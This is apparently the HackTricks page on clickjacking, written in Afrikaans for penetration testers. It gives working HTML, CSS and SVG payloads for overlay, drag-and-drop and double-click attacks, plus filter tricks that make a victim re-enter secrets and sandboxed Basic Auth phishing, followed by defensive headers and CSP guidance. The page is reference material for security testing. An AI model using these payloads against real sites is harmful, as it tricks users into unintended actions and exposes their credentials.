Clickjacking

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Wat is Clickjacking

In ’n clickjacking-aanval word ’n gebruiker mislei om op ’n element op ’n webblad te klik wat óf onsigbaar is óf as ’n ander element vermom is. Hierdie manipulasie kan tot onbedoelde gevolge vir die gebruiker lei, soos die aflaai van malware, herleiding na kwaadwillige webblaaie, die verstrekking van inlogbesonderhede of sensitiewe inligting, geldoorplasings, of die aanlyn aankoop van produkte.

Truuk om vorms vooraf te vul

Soms is dit moontlik om die waardes van velde in ’n vorm te vul deur GET-parameters wanneer ’n bladsy gelaai word. ’n Aanvaller kan hierdie gedrag misbruik om ’n vorm met arbitraire data te vul en die clickjacking payload te stuur sodat die gebruiker op die knop Submit druk.

Vorm invul met Drag&Drop

As jy die gebruiker nodig het om ’n vorm te vul maar jy wil hom nie direk vra om spesifieke inligting te tik (soos die e-pos en/of ’n spesifieke wagwoord wat jy ken) nie, kan jy hom net vra om iets te Drag&Drop wat jou beheerde data sal invoer, soos in this example.

Basiese Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Meertraps Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

As jy ’n XSS-aanval wat vereis dat ’n gebruiker op ’n element klik geïdentifiseer het om die XSS te trigger en die bladsy is vulnerable to clickjacking, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Voorbeeld:
Jy het ’n self XSS gevind in sekere private rekeningbesonderhede (besonderhede wat slegs jy kan stel en lees). Die bladsy met die form om hierdie besonderhede te stel is vulnerable to Clickjacking en jy kan die form prepopulate met die GET parameters.
’n Aanvaller kan ’n Clickjacking-aanval op daardie bladsy voorberei deur die form te prepopulate met die XSS payload en die gebruiker te mislei om die vorm te Submit. Dus, wanneer die form ingedien word en die waardes gemodifiseer is, sal die gebruiker die XSS uitvoer.

DoubleClickjacking

Eerstens explained in this post, hierdie tegniek vra die slagoffer om dubbel op ’n knoppie op ’n pasgemaakte bladsy wat op ’n spesifieke plek geplaas is, te dubbelklik, en gebruik die tydsverskille tussen die mousedown en onclick events om die slagoffer-bladsy tydens die dubbelklik te laai sodat die slagoffer eintlik ’n regte knoppie op die slagoffer-bladsy klik.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in this page.

Warning

Hierdie tegniek maak dit moontlik om die gebruiker te mislei om op 1 plek op die slagoffer-bladsy te klik en omseil sodoende alle beskerming teen clickjacking. Dus moet die aanvaller sensitiewe aksies vind wat met net 1 klik uitgevoer kan word, soos OAuth prompts wat toestemmings aanvaar.

Sommige PoCs verlaat iframes heeltemal en hou ’n background popup onder die cursor uitgelê. Die aanvaller-bladsy spoor mousemove en gebruik ’n klein popup (window.open) wat met moveTo() geskuif word terwyl dit same-origin is; sodra dit uitgelê is, word dit teruggestuur na die target origin sodat die volgende klik op die regte knoppie land. Omdat cross‑origin moveTo() geblokkeer word, word die popup kortliks na ’n aanvaller-origin genavigeer vir herposisionering, en dan keer location/history.back() terug na die teiken. Om die teiken by kliktyd te oppervlak, kan die aanvaller die popup heropen met dieselfde window name om dit na die voorgrond te bring sonder om die URL te verander.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Moderne Chromium/WebKit/Gecko builds laat toe dat CSS filter:url(#id) op cross-origin iframes toegepas word. Die iframe se gerasterde pixels word aan die SVG-filtergrafiek blootgestel as SourceGraphic, sodat primitives soos feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. arbitrêr die victim UI kan verwring voordat die gebruiker dit sien, selfs al raak die attacker nooit die DOM nie. ’n eenvoudige Liquid-Glass style filter lyk soos:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Nuttige primitiewe: feImage laai attacker bitmaps (bv., overlays, displacement maps); feFlood bou konstante-kleur mattes; feOffset/feGaussianBlur verfyn hoogtepunte; feDisplacementMap refrakteer/vervorm teks; feComposite operator="arithmetic" implementeer arbitrêre per-kanaal wiskunde (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), wat genoeg is vir kontrasversterking, maskering, en AND/OR-operasies; feTile sny en replikeer pixel probes; feMorphology laat strokes groei/krimp; feColorMatrix skuif luma na alpha om presiese maskers te bou.

Vervorming van geheime in CAPTCHA-styl prompts

Indien ’n framable endpoint geheime (tokens, reset codes, API keys) weergee, kan attacker hulle vervorm sodat hulle soos ’n CAPTCHA lyk en handmatige transkripsie afdwing:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

Die vervormde pixels mislei die gebruiker om die captcha binne die deur die aanvaller beheerde <input> te “oplos”, waarvan die pattern die werklike slagoffer-sekreet afdwing.

Rekontekstualisering van slagoffer-insette

Filters kan placeholder-/validasietekste chirurgies verwyder terwyl gebruikerstoetsaanslae behou word. Een werkvloei:

  1. feComposite operator="arithmetic" k2≈4 versterk helderheid sodat grys hulptekst na wit versadig.
  2. feTile beperk die werkarea tot die input-reghoek.
  3. feMorphology operator="erode" verdik die donker glyphs wat deur die slagoffer getik is en stoor dit via result="thick".
  4. feFlood skep ’n wit plaat, feBlend mode="difference" met thick, en ’n tweede feComposite k2≈100 verander dit in ’n skerp luma matte.
  5. feColorMatrix skuif daardie luma na alpha, en feComposite in="SourceGraphic" operator="in" behou slegs deur die gebruiker ingevoerde glyphs.
  6. Nog ’n feBlend in2="white" plus ’n dun crop gee ’n skoon teksveld, waarna die aanvaller hul eie HTML-etikette oorlê (bv. “Enter your email”) terwyl die verborge iframe steeds die slagoffer-origin se wagwoordbeleid afdwing.

Safari sukkel met feTile; dieselfde effek kan gerepliseer word met ruimtelike mattes wat uit feFlood + feColorMatrix + feComposite gebou is vir WebKit-only payloads.

Pixel-proewe, logika en toestandsmasjiene

Deur ’n 2–4 px-streek met feTile te beskêr en dit na 100% van die viewport te tegel, omskakel die aanvaller die bemonsterde kleur in ’n volraamtekstuur wat gedrempel kan word tot ’n boolean-masker:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Vir arbitraire kleure produseer ’n feFlood verwysing (bv. #0B57D0) plus feBlend mode="difference" en nog ’n arithmetic composite (k2≈100, k4 as tolerance) wit slegs wanneer die gesampelde pixel ooreenstem met die teiken-skakering. Om hierdie masks in feComposite met afgestelde k1..k4 te voed gee logiese hekke: AND via k1=1, OR via k2=k3=1, XOR via feBlend mode="difference", NOT via blending teen wit. Ketting van hekke bou ’n full adder binne die filtergrafiek, wat bewys dat die pipeline funksioneel volledig is.

Aanvallers kan dus UI-toestand lees sonder JavaScript. Voorbeeld booleane uit ’n modal werkvloei:

  • D (dialog visible): monster ’n donkerhoek en toets teen wit.
  • L (dialog loaded): monster die koördinate waar die knoppie verskyn sodra dit gereed is.
  • C (checkbox checked): vergelyk die checkbox-pixel teen die aktiewe blou #0B57D0.
  • R (red success/failure banner): gebruik feMorphology en rooi drempels binne die banner-reghoek.

Elke gedetekteerde toestand bestuur ’n ander overlay-bitmap ingeembed via feImage xlink:href="data:...". Deur daardie bitmaps met D, L, C, R te mask, bly die overlays gesinchroniseer met die werklike dialoog en lei dit die slagoffer deur veelstap-werkvloei (wagwoordherstel, approvals, destructive confirmations) sonder om ooit die DOM bloot te stel.

Gesandboxte iframe Basic Auth-dialoog (no allow-popups)

’n Gesandboxte iframe sonder allow-popups kan steeds ’n browser-controlled HTTP Basic Authentication modal vertoon wanneer ’n laai 401 teruggee met WWW-Authenticate. Die dialoog word gegenereer deur die blaaier se networking/auth-laag (nie JS alert/prompt/confirm nie), so sandbox popup-beperkings onderdruk dit nie. As jy die iframe kan script (bv. sandbox="allow-scripts") kan jy dit na enige endpoint navigeer wat ’n Basic Auth challenge uitreik:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Sodra die response aankom, vra die browser vir credentials selfs al is popups verbied. Deur ’n vertroude origin met hierdie truuk te frame, maak dit UI redress/phishing moontlik: onverwante modal prompts binne ’n “sandboxed” widget kan gebruikers in die war bring of password managers trigger om gestoorde credentials aan te bied.

Browser extensions: DOM-based autofill clickjacking

Behalwe vir iframing van slagoffer-bladsye, kan aanvallers browser extension UI-elemente mik wat in die bladsy geïnjekteer word. Password managers render autofill dropdowns naby gefokusde inputs; deur ’n attacker-controlled veld te fokus en die extension’s dropdown te verberg/occlude (opacity/overlay/top-layer tricks), kan ’n gedwonge gebruiker-klik ’n gestoor item kies en sensitiewe data in attacker-controlled inputs invul. Hierdie variant vereis geen iframe-blootstelling nie en werk volledig via DOM/CSS manipulering.

’n Werklike geval: Dashlane disclosed ’n passkey dialog clickjacking-issue (Aug 2025) waar XSS on the relying-party domain ’n aanvaller toegelaat het om HTML oor die extension’s passkey dialog te overlay. ’n Klik op die aanvaller se element sou met die legitieme passkey login voortgaan (die passkey self is nie blootgestel nie), en het effektief ’n UI-redress in account access omskep as die RP reeds kwesbaar is vir script injection.

Strategieë om Clickjacking te Mitigering

Kliëntkant Verdedigings

Skripte wat op die kliënt uitgevoer word, kan aksies neem om Clickjacking te voorkom:

  • Sorg dat die toepassing se venster die main of top window is.
  • Maak alle frames sigbaar.
  • Voorkom klikke op onsigbare frames.
  • Opspoor en waarsku gebruikers oor potensiële Clickjacking-pogings.

Hierdie frame-busting skripte kan egter omseil word:

  • Browsers’ Security Settings: Sommige browsers mag hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
  • HTML5 iframe sandbox Attribute: ’n Aanvaller kan frame buster-skripte neutraliseer deur die sandbox attribute te stel met die waardes allow-forms of allow-scripts sonder allow-top-navigation. Dit verhoed dat die iframe kan verifieer of dit die top window is, e.g.,
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes aktiveer aksies binne die iframe terwyl topvlak-navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende site te verseker, mag addisionele toestemmings soos allow-same-origin en allow-modals nodig wees, afhangend van die tipe aanval. Boodskappe in die blaaierkonsole kan aandui watter toestemmings toegelaat moet word.

Bediener-kant verdediging

X-Frame-Options

Die X-Frame-Options HTTP response header informeert blaaiers oor die legitimiteit van die weergawe van ’n bladsy in ’n <frame> of <iframe>, en help om Clickjacking te voorkom:

  • X-Frame-Options: deny - Geen domein mag die inhoud in ’n frame plaas nie.
  • X-Frame-Options: sameorigin - Slegs die huidige site mag die inhoud in ’n frame plaas.
  • X-Frame-Options: allow-from https://trusted.com - Slegs die gespesifiseerde ‘uri’ mag die bladsy in ’n frame plaas.
  • Let op die beperkinge: as die blaaier hierdie direktef nie ondersteun nie, sal dit moontlik nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors-direktief.

Content Security Policy (CSP) frame-ancestors directive

frame-ancestors directive in CSP is die aanbevole metode vir Clickjacking-beskerming:

  • frame-ancestors 'none' - Soortgelyk aan X-Frame-Options: deny.
  • frame-ancestors 'self' - Soortgelyk aan X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Soortgelyk aan X-Frame-Options: allow-from.

Byvoorbeeld, die volgende CSP laat slegs framing vanaf dieselfde domein toe:

Content-Security-Policy: frame-ancestors 'self';

Verder besonderhede en meer komplekse voorbeelde kan gevind word in die frame-ancestors CSP documentation en Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) with child-src and frame-src

Content Security Policy (CSP) is ’n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuit-aanvalle te voorkom deur te spesifiseer watter bronne die blaaier moet toelaat om inhoud te laai.

frame-src Directive

  • Bepaal geldige bronne vir frames.
  • Meer spesifiek as die default-src direktief.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Hierdie beleid laat frames toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

child-src Direktief

  • Ingevoer in CSP vlak 2 om geldige bronne vir web workers en rame te bepaal.
  • Dien as ‘fallback’ vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Hierdie beleid laat frames en workers toe vanaf dieselfde oorsprong (self) en https://trusted-website.com.

Gebruiksnotas:

  • Veroudering: child-src word uitgefaseer ten gunste van frame-src en worker-src.
  • Terugvalgedrag: As frame-src afwesig is, word child-src as ’n terugval vir frames gebruik. As beide afwesig is, word default-src gebruik.
  • Strikte brondefinisie: Sluit slegs vertroude bronne in die direktiewe in om uitbuiting te voorkom.

JavaScript Frame-Breaking Scripts

Alhoewel dit nie heeltemal waterdig is nie, kan JavaScript-gebaseerde frame-busting-skripte gebruik word om te verhoed dat ’n webblad in ’n raam geplaas word. Voorbeeld:

if (top !== self) {
top.location = self.location
}

Gebruik van Anti-CSRF Tokens

  • Token-validering: Gebruik anti-CSRF tokens in webtoepassings om te verseker dat versoeke wat die toestand verander bedoel is deur die gebruiker en nie deur ’n Clickjacked-bladsy nie.

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks